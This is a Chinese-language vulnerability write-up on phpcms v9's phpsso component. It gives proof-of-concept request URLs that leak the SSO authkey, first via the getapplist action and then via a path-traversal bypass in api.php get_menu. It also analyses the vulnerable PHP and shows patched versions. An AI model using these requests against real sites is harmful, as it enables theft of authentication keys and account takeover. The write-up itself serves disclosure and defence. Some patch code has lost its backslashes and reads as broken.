catalog
1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考
1. 漏洞描述
安装phpcms的时候会强制安装它的通行证
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2014-066394
2. 漏洞触发条件
0x1: POC1
1. 访问头像上传页面 http://localhost/phpcms_v9/index.php?m=member&c=index&a=account_manage_avatar&t=1 //获取'upurl':"aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==&callback=return_avatar&" 2. Base64解码后 http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA //将url里的uploadavatar换成:getapplist http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA 3. 得到authkey
0x2: POC Bypass Path 1
http://localhost/phpcms_v9/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=......phpsso_servercachescaches_admincaches_dataapplist&path=admin
3. 漏洞影响范围
4. 漏洞代码分析
phpsso_serverphpcmsmodulesphpssoindex.php
/** * 获取应用列表 */ public function getapplist() { $applist = getcache('applist', 'admin'); exit(serialize($applist)); }
这个函数从cache中获取applist信息,继续追溯cache里的内容
phpsso_servercachescaches_admincaches_dataapplist.cache.php
<?php return array ( 1 => array ( 'appid' => '1', 'type' => 'phpcms_v9', 'name' => 'phpcms v9', 'url' => 'http://localhost/phpcms_v9/', 'authkey' => 'lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0', 'ip' => '', 'apifilename' => 'api.php?op=phpsso', 'charset' => 'utf-8', 'synlogin' => '1', ), ); ?>
所以只要我们调用phpsso并且能走到getapplist()这个方法里,就会突出sso配置的客户端的所有信息,包括authkey,我们继续回溯分析漏洞源头
phpsso_serverphpcmsmodulesphpssoclassesphpsso.class.php
public function __construct() { $this->db = pc_base::load_model('member_model'); pc_base::load_app_func('global'); /*获取系统配置*/ $this->settings = getcache('settings', 'admin'); $this->applist = getcache('applist', 'admin'); //GET数据全部传递给POST if(isset($_GET) && is_array($_GET) && count($_GET) > 0) { foreach($_GET as $k=>$v) { if(!in_array($k, array('m','c','a'))) { $_POST[$k] = $v; } } } if(isset($_POST['appid'])) { $this->appid = intval($_POST['appid']); } else { exit('0'); } if(isset($_POST['data'])) { //将getapplist()结果赋值给$_POST['data'] parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data); if(empty($this->data) || !is_array($this->data)) { exit('0'); } } else { exit('0'); }
接下里的问题是我们要如何获取$_POST['data'],继续回溯到上传头像页面
http://localhost/phpcms_v9/index.php?m=member&c=index&a=account_manage_avatar&t=1 //查看源代码 script type="text/javascript"> var flashvars = { 'upurl':"aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==&callback=return_avatar&" }; var params = { 'align':'middle', 'play':'true', 'loop':'false', 'scale':'showall', 'wmode':'window', 'devicefont':'true', 'id':'Main', 'bgcolor':'#ffffff', 'name':'Main', 'allowscriptaccess':'always' }; var attributes = {
得到base64编码后的URL
aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ== /* http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA */
将url里的uploadavatar换成:getapplist
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA
得到结果
a:1:{i:1;a:9:{s:5:"appid";s:1:"1";s:4:"type";s:9:"phpcms_v9";s:4:"name";s:9:"phpcms v9";s:3:"url";s:27:"http://localhost/phpcms_v9/";s:7:"authkey";s:32:"lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0";s:2:"ip";s:0:"";s:11:"apifilename";s:17:"api.php?op=phpsso";s:7:"charset";s:5:"utf-8";s:8:"synlogin";s:1:"1";}} /* authkey: lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0 */
得到这个authkey,就可以获得了sso体系中的令牌,厂商对index.php中的getapplist()函数进行了patch,unset了数组中的authkey键值,但是却没有充分考虑到全部的攻击面
apiget_menu.php
/** * 获取地区列表 */ function ajax_getlist() { $cachefile = $_GET['cachefile']; $cachefile = str_replace(array('/', '//'), '', $cachefile); //$cachefile = preg_replace('/[x00-x08x0Bx0Cx0E-x1Fx7F]+/S', '', $cachefile); $path = $_GET['path']; $path = str_replace(array('/', '//'), '', $path); //$path = preg_replace('/[x00-x08x0Bx0Cx0E-x1Fx7F]+/S', '', $path); $title = $_GET['title']; $key = $_GET['key']; //getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容 $infos = getcache($cachefile,$path); $where_id = intval($_GET['parentid']); $parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]); foreach($infos AS $k=>$v) { if($v['parentid'] == $where_id) { if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid']; $s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid); } } if(count($s)>0) { $jsonstr = json_encode($s); echo trim_script($_GET['callback']).'(',$jsonstr,')'; exit; } else { echo trim_script($_GET['callback']).'()';exit; } }
Relevant Link:
http://0cx.cc/phpcms_phpsso_auth_key.jspx http://0day5.com/archives/3251
5. 防御方法
phpsso_serverphpcmsmodulesphpssoindex.php
/** * 获取应用列表 */ public function getapplist() { $applist = getcache('applist', 'admin'); /**/ foreach($applist as $key=>$value) { unset($applist[$key]['authkey']); } /**/ exit(serialize($applist)); }
apiget_menu.php
/** * 获取地区列表 */ function ajax_getlist() { $cachefile = $_GET['cachefile']; //$cachefile = str_replace(array('/', '//'), '', $cachefile); /**/ $cachefile = str_replace(array('/', '//', '\'), '', $cachefile); /**/ //$cachefile = preg_replace('/[x00-x08x0Bx0Cx0E-x1Fx7F]+/S', '', $cachefile); $path = $_GET['path']; $path = str_replace(array('/', '//'), '', $path); //$path = preg_replace('/[x00-x08x0Bx0Cx0E-x1Fx7F]+/S', '', $path); $title = $_GET['title']; $key = $_GET['key']; //getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容 $infos = getcache($cachefile,$path); $where_id = intval($_GET['parentid']); $parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]); foreach($infos AS $k=>$v) { if($v['parentid'] == $where_id) { if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid']; $s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid); } } if(count($s)>0) { $jsonstr = json_encode($s); echo trim_script($_GET['callback']).'(',$jsonstr,')'; exit; } else { echo trim_script($_GET['callback']).'()';exit; } }
Relevant Link:
http://0day5.com/archives/3202 http://www.wooyun.org/bugs/wooyun-2015-0105242
6. 攻防思考
Copyright (c) 2015 Little5ann All rights reserved